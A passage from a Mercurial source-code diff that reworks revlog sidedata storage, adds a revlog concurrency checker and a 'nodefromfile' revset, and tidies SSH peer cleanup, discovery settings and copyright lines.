rev * self.index.entry_size else: - end += rev * self._io.size + end += rev * self.index.entry_size transaction.add(self.indexfile, end) @@ -2592,7 +2692,7 @@ f.seek(0, io.SEEK_END) actual = f.tell() f.close() - s = self._io.size + s = self.index.entry_size i = max(0, actual // s) di = actual - (i * s) if self._inline: @@ -2621,6 +2721,7 @@ revisiondata=False, assumehaveparentrevisions=False, deltamode=repository.CG_DELTAMODE_STD, + sidedata_helpers=None, ): if nodesorder not in (b'nodes', b'storage', b'linear', None): raise error.ProgrammingError( @@ -2649,6 +2750,7 @@ deltamode=deltamode, revisiondata=revisiondata, assumehaveparentrevisions=assumehaveparentrevisions, + sidedata_helpers=sidedata_helpers, ) DELTAREUSEALWAYS = b'always' @@ -3087,3 +3189,54 @@ ) return d + + def rewrite_sidedata(self, helpers, startrev, endrev): + if self.version & 0xFFFF != REVLOGV2: + return + # inline are not yet supported because they suffer from an issue when + # rewriting them (since it's not an append-only operation). + # See issue6485. + assert not self._inline + if not helpers[1] and not helpers[2]: + # Nothing to generate or remove + return + + new_entries = [] + # append the new sidedata + with self._datafp(b'a+') as fp: + # Maybe this bug still exists, see revlog._writeentry + fp.seek(0, os.SEEK_END) + current_offset = fp.tell() + for rev in range(startrev, endrev + 1): + entry = self.index[rev] + new_sidedata = storageutil.run_sidedata_helpers( + store=self, + sidedata_helpers=helpers, + sidedata={}, + rev=rev, + ) + + serialized_sidedata = sidedatautil.serialize_sidedata( + new_sidedata + ) + if entry[8] != 0 or entry[9] != 0: + # rewriting entries that already have sidedata is not + # supported yet, because it introduces garbage data in the + # revlog. + msg = b"Rewriting existing sidedata is not supported yet" + raise error.Abort(msg) + entry = entry[:8] + entry += (current_offset, len(serialized_sidedata)) + + fp.write(serialized_sidedata) + new_entries.append(entry) + current_offset += len(serialized_sidedata) + + # rewrite the new index entries + with self._indexfp(b'w+') as fp: + fp.seek(startrev * self.index.entry_size) + for i, entry in enumerate(new_entries): + rev = startrev + i + self.index.replace_sidedata_info(rev, entry[8], entry[9]) + packed = self._io.packentry(entry, self.node, self.version, rev) + fp.write(packed) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlogutils/concurrency_checker.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/mercurial/revlogutils/concurrency_checker.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,38 @@ +from ..i18n import _ +from .. import error + + +def get_checker(ui, revlog_name=b'changelog'): + """Get a function that checks file handle position is as expected. + + This is used to ensure that files haven't been modified outside of our + knowledge (such as on a networked filesystem, if `hg debuglocks` was used, + or writes to .hg that ignored locks happened). + + Due to revlogs supporting a concept of buffered, delayed, or diverted + writes, we're allowing the files to be shorter than expected (the data may + not have been written yet), but they can't be longer. + + Please note that this check is not perfect; it can't detect all cases (there + may be false-negatives/false-OKs), but it should never claim there's an + issue when there isn't (false-positives/false-failures). + """ + + vpos = ui.config(b'debug', b'revlog.verifyposition.' + revlog_name) + # Avoid any `fh.tell` cost if this isn't enabled. + if not vpos or vpos not in [b'log', b'warn', b'fail']: + return None + + def _checker(fh, fn, expected): + if fh.tell() <= expected: + return + + msg = _(b'%s: file cursor at position %d, expected %d') + # Always log if we're going to warn or fail. + ui.log(b'debug', msg + b'\n', fn, fh.tell(), expected) + if vpos == b'warn': + ui.warn((msg + b'\n') % (fn, fh.tell(), expected)) + elif vpos == b'fail': + raise error.RevlogError(msg % (fn, fh.tell(), expected)) + + return _checker diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlogutils/constants.py --- a/mercurial/revlogutils/constants.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revlogutils/constants.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # revlogdeltas.py - constant used for revlog logic # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2018 Octobus # # This software may be used and distributed according to the terms of the @@ -9,14 +9,21 @@ from __future__ import absolute_import +import struct + from ..interfaces import repository -# revlog header flags +### main revlog header + +INDEX_HEADER = struct.Struct(b">I") + +## revlog version REVLOGV0 = 0 REVLOGV1 = 1 # Dummy value until file format is finalized. -# Reminder: change the bounds check in revlog.__init__ when this is changed. REVLOGV2 = 0xDEAD + +## global revlog header flags # Shared across v1 and v2. FLAG_INLINE_DATA = 1 << 16 # Only used by v1, implied by v2. @@ -27,6 +34,46 @@ REVLOGV1_FLAGS = FLAG_INLINE_DATA | FLAG_GENERALDELTA REVLOGV2_FLAGS = FLAG_INLINE_DATA +### individual entry + +## index v0: +# 4 bytes: offset +# 4 bytes: compressed length +# 4 bytes: base rev +# 4 bytes: link rev +# 20 bytes: parent 1 nodeid +# 20 bytes: parent 2 nodeid +# 20 bytes: nodeid +INDEX_ENTRY_V0 = struct.Struct(b">4l20s20s20s") + +## index v1 +# 6 bytes: offset +# 2 bytes: flags +# 4 bytes: compressed length +# 4 bytes: uncompressed length +# 4 bytes: base rev +# 4 bytes: link rev +# 4 bytes: parent 1 rev +# 4 bytes: parent 2 rev +# 32 bytes: nodeid +INDEX_ENTRY_V1 = struct.Struct(b">Qiiiiii20s12x") +assert INDEX_ENTRY_V1.size == 32 * 2 + +# 6 bytes: offset +# 2 bytes: flags +# 4 bytes: compressed length +# 4 bytes: uncompressed length +# 4 bytes: base rev +# 4 bytes: link rev +# 4 bytes: parent 1 rev +# 4 bytes: parent 2 rev +# 32 bytes: nodeid +# 8 bytes: sidedata offset +# 4 bytes: sidedata compressed length +# 20 bytes: Padding to align to 96 bytes (see RevlogV2Plan wiki page) +INDEX_ENTRY_V2 = struct.Struct(b">Qiiiiii20s12xQi20x") +assert INDEX_ENTRY_V2.size == 32 * 3 + # revlog index flags # For historical reasons, revlog's internal flags were exposed via the diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlogutils/deltas.py --- a/mercurial/revlogutils/deltas.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revlogutils/deltas.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # revlogdeltas.py - Logic around delta computation for revlog # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # Copyright 2018 Octobus # # This software may be used and distributed according to the terms of the diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlogutils/flagutil.py --- a/mercurial/revlogutils/flagutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revlogutils/flagutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -84,7 +84,7 @@ flagprocessors[flag] = processor -def processflagswrite(revlog, text, flags, sidedata): +def processflagswrite(revlog, text, flags): """Inspect revision data flags and applies write transformations defined by registered flag processors. @@ -100,9 +100,12 @@ processed text and ``validatehash`` is a bool indicating whether the returned text should be checked for hash integrity. """ - return _processflagsfunc(revlog, text, flags, b'write', sidedata=sidedata)[ - :2 - ] + return _processflagsfunc( + revlog, + text, + flags, + b'write', + )[:2] def processflagsread(revlog, text, flags): @@ -145,14 +148,14 @@ return _processflagsfunc(revlog, text, flags, b'raw')[1] -def _processflagsfunc(revlog, text, flags, operation, sidedata=None): +def _processflagsfunc(revlog, text, flags, operation): """internal function to process flag on a revlog This function is private to this module, code should never needs to call it directly.""" # fast path: no flag processors will run if flags == 0: - return text, True, {} + return text, True if operation not in (b'read', b'write', b'raw'): raise error.ProgrammingError(_(b"invalid '%s' operation") % operation) # Check all flags are known. @@ -168,7 +171,6 @@ if operation == b'write': orderedflags = reversed(orderedflags) - outsidedata = {} for flag in orderedflags: # If a flagprocessor has been registered for a known flag, apply the # related operation transform and update result tuple. @@ -186,10 +188,9 @@ if operation == b'raw': vhash = rawtransform(revlog, text) elif operation == b'read': - text, vhash, s = readtransform(revlog, text) - outsidedata.update(s) + text, vhash = readtransform(revlog, text) else: # write operation - text, vhash = writetransform(revlog, text, sidedata) + text, vhash = writetransform(revlog, text) validatehash = validatehash and vhash - return text, validatehash, outsidedata + return text, validatehash diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlogutils/nodemap.py --- a/mercurial/revlogutils/nodemap.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revlogutils/nodemap.py Tue Apr 20 11:01:06 2021 -0400 @@ -53,7 +53,11 @@ try: with revlog.opener(filename) as fd: if use_mmap: - data = util.buffer(util.mmapread(fd, data_length)) + try: + data = util.buffer(util.mmapread(fd, data_length)) + except ValueError: + # raised when the read file is too small + data = b'' else: data = fd.read(data_length) except (IOError, OSError) as e: @@ -81,9 +85,9 @@ if tr.hasfinalize(callback_id): return # no need to register again tr.addpending( - callback_id, lambda tr: _persist_nodemap(tr, revlog, pending=True) + callback_id, lambda tr: persist_nodemap(tr, revlog, pending=True) ) - tr.addfinalize(callback_id, lambda tr: _persist_nodemap(tr, revlog)) + tr.addfinalize(callback_id, lambda tr: persist_nodemap(tr, revlog)) class _NoTransaction(object): @@ -123,20 +127,33 @@ return # we do not use persistent_nodemap on this revlog notr = _NoTransaction() - _persist_nodemap(notr, revlog) + persist_nodemap(notr, revlog) for k in sorted(notr._postclose): notr._postclose[k](None) -def _persist_nodemap(tr, revlog, pending=False): +def delete_nodemap(tr, repo, revlog): + """ Delete nodemap data on disk for a given revlog""" + if revlog.nodemap_file is None: + msg = "calling persist nodemap on a revlog without the feature enabled" + raise error.ProgrammingError(msg) + repo.svfs.unlink(revlog.nodemap_file) + + +def persist_nodemap(tr, revlog, pending=False, force=False): """Write nodemap data on disk for a given revlog""" if getattr(revlog, 'filteredrevs', ()): raise error.ProgrammingError( "cannot persist nodemap of a filtered changelog" ) if revlog.nodemap_file is None: - msg = "calling persist nodemap on a revlog without the feature enableb" - raise error.ProgrammingError(msg) + if force: + revlog.nodemap_file = get_nodemap_file( + revlog.opener, revlog.indexfile + ) + else: + msg = "calling persist nodemap on a revlog without the feature enabled" + raise error.ProgrammingError(msg) can_incremental = util.safehasattr(revlog.index, "nodemap_data_incremental") ondisk_docket = revlog._nodemap_docket @@ -634,3 +651,14 @@ if isinstance(entry, dict): return _find_node(entry, node[1:]) return entry + + +def get_nodemap_file(opener, indexfile): + if indexfile.endswith(b'.a'): + pending_path = indexfile[:-4] + b".n.a" + if opener.exists(pending_path): + return pending_path + else: + return indexfile[:-4] + b".n" + else: + return indexfile[:-2] + b".n" diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlogutils/sidedata.py --- a/mercurial/revlogutils/sidedata.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revlogutils/sidedata.py Tue Apr 20 11:01:06 2021 -0400 @@ -13,9 +13,8 @@ The current implementation is experimental and subject to changes. Do not rely on it in production. -Sidedata are stored in the revlog itself, within the revision rawtext. They -are inserted and removed from it using the flagprocessors mechanism. The following -format is currently used:: +Sidedata are stored in the revlog itself, thanks to a new version of the +revlog. The following format is currently used:: initial header: @@ -60,48 +59,35 @@ SIDEDATA_ENTRY = struct.Struct('>HL20s') -def sidedatawriteprocessor(rl, text, sidedata): +def serialize_sidedata(sidedata): sidedata = list(sidedata.items()) sidedata.sort() - rawtext = [SIDEDATA_HEADER.pack(len(sidedata))] + buf = [SIDEDATA_HEADER.pack(len(sidedata))] for key, value in sidedata: digest = hashutil.sha1(value).digest() - rawtext.append(SIDEDATA_ENTRY.pack(key, len(value), digest)) + buf.append(SIDEDATA_ENTRY.pack(key, len(value), digest)) for key, value in sidedata: - rawtext.append(value) - rawtext.append(bytes(text)) - return b''.join(rawtext), False + buf.append(value) + buf = b''.join(buf) + return buf -def sidedatareadprocessor(rl, text): +def deserialize_sidedata(blob): sidedata = {} offset = 0 - (nbentry,) = SIDEDATA_HEADER.unpack(text[: SIDEDATA_HEADER.size]) + (nbentry,) = SIDEDATA_HEADER.unpack(blob[: SIDEDATA_HEADER.size]) offset += SIDEDATA_HEADER.size dataoffset = SIDEDATA_HEADER.size + (SIDEDATA_ENTRY.size * nbentry) for i in range(nbentry): nextoffset = offset + SIDEDATA_ENTRY.size - key, size, storeddigest = SIDEDATA_ENTRY.unpack(text[offset:nextoffset]) + key, size, storeddigest = SIDEDATA_ENTRY.unpack(blob[offset:nextoffset]) offset = nextoffset # read the data associated with that entry nextdataoffset = dataoffset + size - entrytext = text[dataoffset:nextdataoffset] + entrytext = bytes(blob[dataoffset:nextdataoffset]) readdigest = hashutil.sha1(entrytext).digest() if storeddigest != readdigest: raise error.SidedataHashError(key, storeddigest, readdigest) sidedata[key] = entrytext dataoffset = nextdataoffset - text = text[dataoffset:] - return text, True, sidedata - - -def sidedatarawprocessor(rl, text): - # side data modifies rawtext and prevent rawtext hash validation - return False - - -processors = ( - sidedatareadprocessor, - sidedatawriteprocessor, - sidedatarawprocessor, -) + return sidedata diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revset.py --- a/mercurial/revset.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revset.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # revset.py - revision set queries for mercurial # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -41,6 +41,7 @@ from .utils import ( dateutil, stringutil, + urlutil, ) # helpers for processing parsed tree @@ -1335,6 +1336,29 @@ return subset & rs +@predicate(b'nodefromfile(path)') +def nodefromfile(repo, subset, x): + """ + An alias for ``::.`` (ancestors of the working directory's first parent). + If file pattern is specified, the histories of files matching given + pattern in the revision given by startrev are followed, including copies. + """ + path = getstring(x, _(b"nodefromfile require a file path")) + listed_rev = set() + try: + with pycompat.open(path, 'rb') as f: + for line in f: + n = line.strip() + rn = _node(repo, n) + if rn is not None: + listed_rev.add(rn) + except IOError as exc: + m = _(b'cannot open nodes file "%s": %s') + m %= (path, encoding.strtolocal(exc.strerror)) + raise error.Abort(m) + return subset & baseset(listed_rev) + + @predicate(b'all()', safe=True) def getall(repo, subset, x): """All changesets, the same as ``0:tip``.""" @@ -1697,13 +1721,9 @@ return subset & names -@predicate(b'id(string)', safe=True) -def node_(repo, subset, x): - """Revision non-ambiguously specified by the given hex string prefix.""" - # i18n: "id" is a keyword - l = getargs(x, 1, 1, _(b"id requires one argument")) - # i18n: "id" is a keyword - n = getstring(l[0], _(b"id requires a string")) +def _node(repo, n): + """process a node input""" + rn = None if len(n) == 40: try: rn = repo.changelog.rev(bin(n)) @@ -1712,7 +1732,6 @@ except (LookupError, TypeError): rn = None else: - rn = None try: pm = scmutil.resolvehexnodeidprefix(repo, n) if pm is not None: @@ -1721,6 +1740,17 @@ pass except error.WdirUnsupported: rn = wdirrev + return rn + + +@predicate(b'id(string)', safe=True) +def node_(repo, subset, x): + """Revision non-ambiguously specified by the given hex string prefix.""" + # i18n: "id" is a keyword + l = getargs(x, 1, 1, _(b"id requires one argument")) + # i18n: "id" is a keyword + n = getstring(l[0], _(b"id requires a string")) + rn = _node(repo, n) if rn is None: return baseset() @@ -1825,27 +1855,28 @@ dest = ( l and getstring(l[0], _(b"outgoing requires a repository path")) or b'' ) - if not dest: - # ui.paths.getpath() explicitly tests for None, not just a boolean - dest = None - path = repo.ui.paths.getpath(dest, default=(b'default-push', b'default')) - if not path: - raise error.Abort( - _(b'default repository not configured!'), - hint=_(b"see 'hg help config.paths'"), - ) - dest = path.pushloc or path.loc - branches = path.branch, [] - - revs, checkout = hg.addbranchrevs(repo, repo, branches, []) - if revs: - revs = [repo.lookup(rev) for rev in revs] - other = hg.peer(repo, {}, dest) - repo.ui.pushbuffer() - outgoing = discovery.findcommonoutgoing(repo, other, onlyheads=revs) - repo.ui.popbuffer() + if dest: + dests = [dest] + else: + dests = [] + missing = set() + for path in urlutil.get_push_paths(repo, repo.ui, dests): + dest = path.pushloc or path.loc + branches = path.branch, [] + + revs, checkout = hg.addbranchrevs(repo, repo, branches, []) + if revs: + revs = [repo.lookup(rev) for rev in revs] + other = hg.peer(repo, {}, dest) + try: + repo.ui.pushbuffer() + outgoing = discovery.findcommonoutgoing(repo, other, onlyheads=revs) + repo.ui.popbuffer() + finally: + other.close() + missing.update(outgoing.missing) cl = repo.changelog - o = {cl.rev(r) for r in outgoing.missing} + o = {cl.rev(r) for r in missing} return subset & o @@ -2089,8 +2120,11 @@ if len(l) > 1: # i18n: "remote" is a keyword dest = getstring(l[1], _(b"remote requires a repository path")) - dest = repo.ui.expandpath(dest or b'default') - dest, branches = hg.parseurl(dest) + if not dest: + dest = b'default' + dest, branches = urlutil.get_unique_pull_path( + b'remote', repo, repo.ui, dest + ) other = hg.peer(repo, {}, dest) n = other.lookup(q) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revsetlang.py --- a/mercurial/revsetlang.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revsetlang.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # revsetlang.py - parser, tokenizer and utility for revision set language # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/scmutil.py --- a/mercurial/scmutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/scmutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # scmutil.py - Mercurial core utility functions # -# Copyright Matt Mackall +# Copyright Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -181,17 +181,6 @@ encoding.strtolocal(inst.strerror), ) ) - except error.OutOfBandError as inst: - detailed_exit_code = 100 - if inst.args: - msg = _(b"abort: remote error:\n") - else: - msg = _(b"abort: remote error\n") - ui.error(msg) - if inst.args: - ui.error(b''.join(inst.args)) - if inst.hint: - ui.error(b'(%s)\n' % inst.hint) except error.RepoError as inst: ui.error(_(b"abort: %s\n") % inst) if inst.hint: @@ -201,7 +190,9 @@ msg = inst.args[1] if isinstance(msg, type(u'')): msg = pycompat.sysbytes(msg) - if not isinstance(msg, bytes): + if msg is None: + ui.error(b"\n") + elif not isinstance(msg, bytes): ui.error(b" %r\n" % (msg,)) elif not msg: ui.error(_(b" empty string\n")) @@ -229,6 +220,10 @@ detailed_exit_code = 20 elif isinstance(inst, error.ConfigError): detailed_exit_code = 30 + elif isinstance(inst, error.HookAbort): + detailed_exit_code = 40 + elif isinstance(inst, error.RemoteError): + detailed_exit_code = 100 elif isinstance(inst, error.SecurityError): detailed_exit_code = 150 elif isinstance(inst, error.CanceledError): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/server.py --- a/mercurial/server.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/server.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # server.py - utility and factory of server # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -22,7 +22,10 @@ util, ) -from .utils import procutil +from .utils import ( + procutil, + urlutil, +) def runservice( @@ -184,7 +187,7 @@ def _createhgwebservice(ui, repo, opts): # this way we can check if something was given in the command-line if opts.get(b'port'): - opts[b'port'] = util.getport(opts.get(b'port')) + opts[b'port'] = urlutil.getport(opts.get(b'port')) alluis = {ui} if repo: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/setdiscovery.py --- a/mercurial/setdiscovery.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/setdiscovery.py Tue Apr 20 11:01:06 2021 -0400 @@ -286,8 +286,6 @@ ui, local, remote, - initialsamplesize=100, - fullsamplesize=200, abortwhenunrelated=True, ancestorsof=None, audit=None, @@ -315,7 +313,8 @@ ownheads = [rev for rev in cl.headrevs() if rev != nullrev] initial_head_exchange = ui.configbool(b'devel', b'discovery.exchange-heads') - + initialsamplesize = ui.configint(b'devel', b'discovery.sample-size.initial') + fullsamplesize = ui.configint(b'devel', b'discovery.sample-size') # We also ask remote about all the local heads. That set can be arbitrarily # large, so we used to limit it size to `initialsamplesize`. We no longer # do as it proved counter productive. The skipped heads could lead to a @@ -391,7 +390,7 @@ if audit is not None: audit[b'total-roundtrips'] = 1 - if cl.tip() == nullid: + if cl.tiprev() == nullrev: if srvheadhashes != [nullid]: return [nullid], True, srvheadhashes return [nullid], False, [] @@ -430,9 +429,12 @@ # full blown discovery # if the server has a limit to its arguments size, we can't grow the sample. - hard_limit_sample = remote.limitedarguments - grow_sample = local.ui.configbool(b'devel', b'discovery.grow-sample') - hard_limit_sample = hard_limit_sample and grow_sample + configbool = local.ui.configbool + grow_sample = configbool(b'devel', b'discovery.grow-sample') + grow_sample = grow_sample and not remote.limitedarguments + + dynamic_sample = configbool(b'devel', b'discovery.grow-sample.dynamic') + hard_limit_sample = not (dynamic_sample or remote.limitedarguments) randomize = ui.configbool(b'devel', b'discovery.randomize') disco = partialdiscovery( @@ -455,7 +457,7 @@ ui.debug(b"taking initial sample\n") samplefunc = disco.takefullsample targetsize = fullsamplesize - if not hard_limit_sample: + if grow_sample: fullsamplesize = int(fullsamplesize * samplegrowth) else: # use even cheaper initial sample diff -r bc268ea9f984 -r f67b8946bb1b mercurial/shelve.py --- a/mercurial/shelve.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/shelve.py Tue Apr 20 11:01:06 2021 -0400 @@ -241,7 +241,7 @@ bin(h) for h in d[b'nodestoremove'].split(b' ') ] except (ValueError, TypeError, KeyError) as err: - raise error.CorruptedState(pycompat.bytestr(err)) + raise error.CorruptedState(stringutil.forcebytestr(err)) @classmethod def _getversion(cls, repo): @@ -250,7 +250,7 @@ try: version = int(fp.readline().strip()) except ValueError as err: - raise error.CorruptedState(pycompat.bytestr(err)) + raise error.CorruptedState(stringutil.forcebytestr(err)) finally: fp.close() return version @@ -534,7 +534,7 @@ parent = parents[0] origbranch = wctx.branch() - if parent.node() != nullid: + if parent.rev() != nullrev: desc = b"changes to: %s" % parent.description().split(b'\n', 1)[0] else: desc = b'(changes in empty repository)' @@ -812,7 +812,7 @@ with repo.lock(): checkparents(repo, state) ms = mergestatemod.mergestate.read(repo) - if list(ms.unresolved()): + if ms.unresolvedcount(): raise error.Abort( _(b"unresolved conflicts, can't continue"), hint=_(b"see 'hg resolve', then 'hg unshelve --continue'"), diff -r bc268ea9f984 -r f67b8946bb1b mercurial/similar.py --- a/mercurial/similar.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/similar.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # similar.py - mechanisms for finding similar files # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/simplemerge.py --- a/mercurial/simplemerge.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/simplemerge.py Tue Apr 20 11:01:06 2021 -0400 @@ -19,7 +19,7 @@ from __future__ import absolute_import from .i18n import _ -from .node import nullid +from .node import nullrev from . import ( error, mdiff, @@ -402,31 +402,6 @@ return sl - def find_unconflicted(self): - """Return a list of ranges in base that are not conflicted.""" - am = mdiff.get_matching_blocks(self.basetext, self.atext) - bm = mdiff.get_matching_blocks(self.basetext, self.btext) - - unc = [] - - while am and bm: - # there is an unconflicted block at i; how long does it - # extend? until whichever one ends earlier. - a1 = am[0][0] - a2 = a1 + am[0][2] - b1 = bm[0][0] - b2 = b1 + bm[0][2] - i = intersect((a1, a2), (b1, b2)) - if i: - unc.append(i) - - if a2 < b2: - del am[0] - else: - del bm[0] - - return unc - def _verifytext(text, path, ui, opts): """verifies that text is non-binary (unless opts[text] is passed, @@ -452,7 +427,7 @@ def is_not_null(ctx): if not util.safehasattr(ctx, "node"): return False - return ctx.node() != nullid + return ctx.rev() != nullrev def _mergediff(m3, name_a, name_b, name_base): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/smartset.py --- a/mercurial/smartset.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/smartset.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # smartset.py - data structure for revision set # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/sshpeer.py --- a/mercurial/sshpeer.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/sshpeer.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # sshpeer.py - ssh repository proxy class for mercurial # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -24,6 +24,7 @@ from .utils import ( procutil, stringutil, + urlutil, ) @@ -40,7 +41,7 @@ """display all data currently available on pipe as remote output. This is non blocking.""" - if pipe: + if pipe and not pipe.closed: s = procutil.readpipe(pipe) if s: display = ui.warn if warn else ui.status @@ -140,18 +141,26 @@ def close(self): return self._main.close() + @property + def closed(self): + return self._main.closed + def flush(self): return self._main.flush() -def _cleanuppipes(ui, pipei, pipeo, pipee): +def _cleanuppipes(ui, pipei, pipeo, pipee, warn): """Clean up pipes used by an SSH connection.""" - if pipeo: + didsomething = False + if pipeo and not pipeo.closed: + didsomething = True pipeo.close() - if pipei: + if pipei and not pipei.closed: + didsomething = True pipei.close() - if pipee: + if pipee and not pipee.closed: + didsomething = True # Try to read from the err descriptor until EOF. try: for l in pipee: @@ -161,6 +170,14 @@ pipee.close() + if didsomething and warn is not None: + # Encourage explicit close of sshpeers. Closing via __del__ is + # not very predictable when exceptions are thrown, which has led + # to deadlocks due to a peer get gc'ed in a fork + # We add our own stack trace, because the stacktrace when called + # from __del__ is useless. + ui.develwarn(b'missing close on SSH connection created at:\n%s' % warn) + def _makeconnection(ui, sshcmd, args, remotecmd, path, sshenv=None): """Create an SSH connection to a server. @@ -412,6 +429,7 @@ self._pipee = stderr self._caps = caps self._autoreadstderr = autoreadstderr + self._initstack = b''.join(util.getstackframes(1)) # Commands that have a "framed" response where the first line of the # response contains the length of that response. @@ -434,7 +452,7 @@ return True def close(self): - pass + self._cleanup() # End of ipeerconnection interface. @@ -452,10 +470,11 @@ self._cleanup() raise exception - def _cleanup(self): - _cleanuppipes(self.ui, self._pipei, self._pipeo, self._pipee) + def _cleanup(self, warn=None): + _cleanuppipes(self.ui, self._pipei, self._pipeo, self._pipee, warn=warn) - __del__ = _cleanup + def __del__(self): + self._cleanup(warn=self._initstack) def _sendrequest(self, cmd, args, framed=False): if self.ui.debugflag and self.ui.configbool( @@ -607,7 +626,7 @@ try: protoname, caps = _performhandshake(ui, stdin, stdout, stderr) except Exception: - _cleanuppipes(ui, stdout, stdin, stderr) + _cleanuppipes(ui, stdout, stdin, stderr, warn=None) raise if protoname == wireprototypes.SSHV1: @@ -633,7 +652,7 @@ autoreadstderr=autoreadstderr, ) else: - _cleanuppipes(ui, stdout, stdin, stderr) + _cleanuppipes(ui, stdout, stdin, stderr, warn=None) raise error.RepoError( _(b'unknown version of SSH protocol: %s') % protoname ) @@ -644,11 +663,11 @@ The returned object conforms to the ``wireprotov1peer.wirepeer`` interface. """ - u = util.url(path, parsequery=False, parsefragment=False) + u = urlutil.url(path, parsequery=False, parsefragment=False) if u.scheme != b'ssh' or not u.host or u.path is None: raise error.RepoError(_(b"couldn't parse location %s") % path) - util.checksafessh(path) + urlutil.checksafessh(path) if u.passwd is not None: raise error.RepoError(_(b'password in URL not supported')) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/sslutil.py --- a/mercurial/sslutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/sslutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # sslutil.py - SSL handling for mercurial # -# Copyright 2005, 2006, 2007, 2008 Matt Mackall +# Copyright 2005, 2006, 2007, 2008 Olivia Mackall # Copyright 2006, 2007 Alexis S. L. Carvalho # Copyright 2006 Vadim Gelfer # diff -r bc268ea9f984 -r f67b8946bb1b mercurial/stack.py --- a/mercurial/stack.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/stack.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # stack.py - Mercurial functions for stack definition # -# Copyright Matt Mackall and other +# Copyright Olivia Mackall and other # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/statichttprepo.py --- a/mercurial/statichttprepo.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/statichttprepo.py Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # This provides read-only repo access to repositories exported via static http # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -12,6 +12,7 @@ import errno from .i18n import _ +from .node import sha1nodeconstants from . import ( branchmap, changelog, @@ -25,6 +26,9 @@ util, vfs as vfsmod, ) +from .utils import ( + urlutil, +) urlerr = util.urlerr urlreq = util.urlreq @@ -161,7 +165,7 @@ self.ui = ui self.root = path - u = util.url(path.rstrip(b'/') + b"/.hg") + u = urlutil.url(path.rstrip(b'/') + b"/.hg") self.path, authinfo = u.authinfo() vfsclass = build_opener(ui, authinfo) @@ -172,6 +176,7 @@ self.names = namespaces.namespaces() self.filtername = None self._extrafilterid = None + self._wanted_sidedata = set() try: requirements = set(self.vfs.read(b'requires').splitlines()) @@ -197,6 +202,8 @@ requirements, supportedrequirements ) localrepo.ensurerequirementscompatible(ui, requirements) + self.nodeconstants = sha1nodeconstants + self.nullid = self.nodeconstants.nullid # setup store self.store = localrepo.makestore(requirements, self.path, vfsclass) @@ 